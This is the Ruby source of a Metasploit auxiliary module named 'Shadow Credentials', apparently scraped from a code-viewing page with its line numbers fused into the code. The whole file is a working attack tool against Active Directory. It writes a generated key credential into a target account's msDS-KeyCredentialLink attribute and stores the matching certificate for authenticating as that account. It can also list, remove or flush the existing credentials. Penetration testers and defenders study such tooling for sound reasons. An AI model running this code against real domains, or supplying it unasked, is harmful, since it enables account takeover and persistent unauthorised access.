Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/ldap/shadow_credentials.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Auxiliary::Report8include Msf::Exploit::Remote::LDAP9include Msf::OptionalSession::LDAP1011ATTRIBUTE = 'msDS-KeyCredentialLink'.freeze1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Shadow Credentials',18'Description' => %q{19This module can read and write the necessary LDAP attributes to configure a particular account with a20Key Credential Link. This allows weaponising write access to a user account by adding a certificate21that can subsequently be used to authenticate. In order for this to succeed, the authenticated user22must have write access to the target object (the object specified in TARGET_USER).23},24'Author' => [25'Elad Shamir', # Original research26'smashery' # module author27],28'References' => [29['URL', 'https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab'],30['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials']31],32'License' => MSF_LICENSE,33'Actions' => [34['FLUSH', { 'Description' => 'Delete all certificate entries' }],35['LIST', { 'Description' => 'Read all credentials associated with the account' }],36['REMOVE', { 'Description' => 'Remove matching certificate entries from the account object' }],37['ADD', { 'Description' => 'Add a credential to the account' }]38],39'DefaultAction' => 'LIST',40'Notes' => {41'Stability' => [],42'SideEffects' => [CONFIG_CHANGES], # REMOVE, FLUSH, ADD all make changes43'Reliability' => []44}45)46)4748register_options([49OptString.new('TARGET_USER', [ true, 'The target to write to' ]),50OptString.new('DEVICE_ID', [ false, 'The specific certificate ID to operate on' ], conditions: %w[ACTION == REMOVE]),51])52end5354def fail_with_ldap_error(message)55ldap_result = @ldap.get_operation_result.table56return if ldap_result[:code] == 05758print_error(message)59if ldap_result[:code] == 1660fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist. Ensure you are targeting a domain controller running at least Server 2016.')61else62validate_query_result!(ldap_result)63end64end6566def warn_on_likely_user_error67ldap_result = @ldap.get_operation_result.table68if ldap_result[:code] == 5069if (datastore['USERNAME'] == datastore['TARGET_USER'] ||70datastore['USERNAME'] == datastore['TARGET_USER'] + '$') &&71datastore['USERNAME'].end_with?('$') &&72['add', 'remove'].include?(action.name.downcase)73print_warning('By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).')74elsif datastore['USERNAME'] == datastore['TARGET_USER'] && !datastore['USERNAME'].end_with?('$')75print_warning('By default, only computer accounts can modify their own properties (not user accounts).')76end77end78end7980def ldap_get(filter, attributes: [])81raw_obj = @ldap.search(base: @base_dn, filter: filter, attributes: attributes).first82return nil unless raw_obj8384obj = {}8586obj['dn'] = raw_obj['dn'].first.to_s87unless raw_obj['sAMAccountName'].empty?88obj['sAMAccountName'] = raw_obj['sAMAccountName'].first.to_s89end9091unless raw_obj['ObjectSid'].empty?92obj['ObjectSid'] = Rex::Proto::MsDtyp::MsDtypSid.read(raw_obj['ObjectSid'].first)93end9495unless raw_obj[ATTRIBUTE].empty?96result = []97raw_obj[ATTRIBUTE].each do |entry|98dn_binary = Rex::Proto::LDAP::DnBinary.decode(entry)99struct = Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct.read(dn_binary.data)100result.append(Rex::Proto::MsAdts::KeyCredential.from_struct(struct))101end102obj[ATTRIBUTE] = result103end104105obj106end107108def run109ldap_connect do |ldap|110validate_bind_success!(ldap)111112if (@base_dn = datastore['BASE_DN'])113print_status("User-specified base DN: #{@base_dn}")114else115print_status('Discovering base DN automatically')116117if (@base_dn = ldap.base_dn)118print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")119else120print_warning("Couldn't discover base DN!")121end122end123@ldap = ldap124125begin126target_user = datastore['TARGET_USER']127obj = ldap_get("(sAMAccountName=#{target_user})", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE])128if obj.nil? && !target_user.end_with?('$')129obj = ldap_get("(sAMAccountName=#{target_user}$)", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE])130end131fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{target_user}") unless obj132133send("action_#{action.name.downcase}", obj)134rescue ::IOError => e135fail_with(Failure::UnexpectedReply, e.message)136end137end138rescue Errno::ECONNRESET139fail_with(Failure::Disconnected, 'The connection was reset.')140rescue Rex::ConnectionError => e141fail_with(Failure::Unreachable, e.message)142rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e143fail_with(Failure::NoAccess, e.message)144rescue Net::LDAP::Error => e145fail_with(Failure::Unknown, "#{e.class}: #{e.message}")146end147148def action_list(obj)149credential_entries = obj[ATTRIBUTE]150if credential_entries.nil?151print_status("The #{ATTRIBUTE} field is empty.")152return153end154print_status('Existing credentials:')155credential_entries.each do |credential|156print_status("DeviceID: #{credential.device_id} - Created #{credential.key_creation_time}")157end158end159160def action_remove(obj)161credential_entries = obj[ATTRIBUTE]162if credential_entries.nil? || credential_entries.empty?163print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")164return165end166167length_before = credential_entries.length168credential_entries.delete_if { |entry| entry.device_id.to_s == datastore['DEVICE_ID'] }169if credential_entries.length == length_before170print_status('No matching entries found - check device ID')171else172update_list = credentials_to_ldap_format(credential_entries, obj['dn'])173unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, update_list)174warn_on_likely_user_error175fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")176end177print_good("Deleted entry with device ID #{datastore['DEVICE_ID']}")178end179end180181def action_flush(obj)182unless obj[ATTRIBUTE]183print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")184return185end186187unless @ldap.delete_attribute(obj['dn'], ATTRIBUTE)188fail_with_ldap_error("Failed to deleted the #{ATTRIBUTE} attribute.")189end190191print_good("Successfully deleted the #{ATTRIBUTE} attribute.")192end193194def action_add(obj)195credential_entries = obj[ATTRIBUTE]196if credential_entries.nil?197credential_entries = []198end199key, cert = generate_key_and_cert(datastore['TARGET_USER'])200credential = Rex::Proto::MsAdts::KeyCredential.new201credential.set_key(key.public_key, Rex::Proto::MsAdts::KeyCredential::KEY_USAGE_NGC)202now = ::Time.now203credential.key_approximate_last_logon_time = now204credential.key_creation_time = now205credential_entries.append(credential)206update_list = credentials_to_ldap_format(credential_entries, obj['dn'])207208unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, update_list)209warn_on_likely_user_error210fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")211end212213pkcs12 = OpenSSL::PKCS12.create('', '', key, cert)214store_cert(pkcs12)215216print_good("Successfully updated the #{ATTRIBUTE} attribute; certificate with device ID #{credential.device_id}")217end218219def store_cert(pkcs12)220service_data = ldap_service_data221credential_data = {222**service_data,223address: service_data[:host],224port: rport,225protocol: service_data[:proto],226service_name: service_data[:name],227workspace_id: myworkspace_id,228username: datastore['TARGET_USER'],229private_type: :pkcs12,230# pkcs12 is a binary format, but for persisting we Base64 encode it231private_data: Base64.strict_encode64(pkcs12.to_der),232origin_type: :service,233module_fullname: fullname234}235create_credential(credential_data)236237info = "#{datastore['DOMAIN']}\\#{datastore['TARGET_USER']} Certificate"238stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info)239print_status("Certificate stored at: #{stored_path}")240end241242def ldap_service_data243{244host: rhost,245port: rport,246proto: 'tcp',247name: 'ldap',248info: "Module: #{fullname}, #{datastore['LDAP::AUTH']} authentication"249}250end251252def credentials_to_ldap_format(entries, dn)253entries.map do |entry|254struct = entry.to_struct255dn_binary = Rex::Proto::LDAP::DnBinary.new(dn, struct.to_binary_s)256257dn_binary.encode258end259end260261def generate_key_and_cert(subject)262key = OpenSSL::PKey::RSA.new(2048)263cert = OpenSSL::X509::Certificate.new264cert.public_key = key.public_key265cert.issuer = OpenSSL::X509::Name.new([['CN', subject]])266cert.subject = OpenSSL::X509::Name.new([['CN', subject]])267yr = 24 * 3600 * 365268cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr)269cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr))270cert.sign(key, OpenSSL::Digest.new('SHA256'))271272[key, cert]273end274end275276277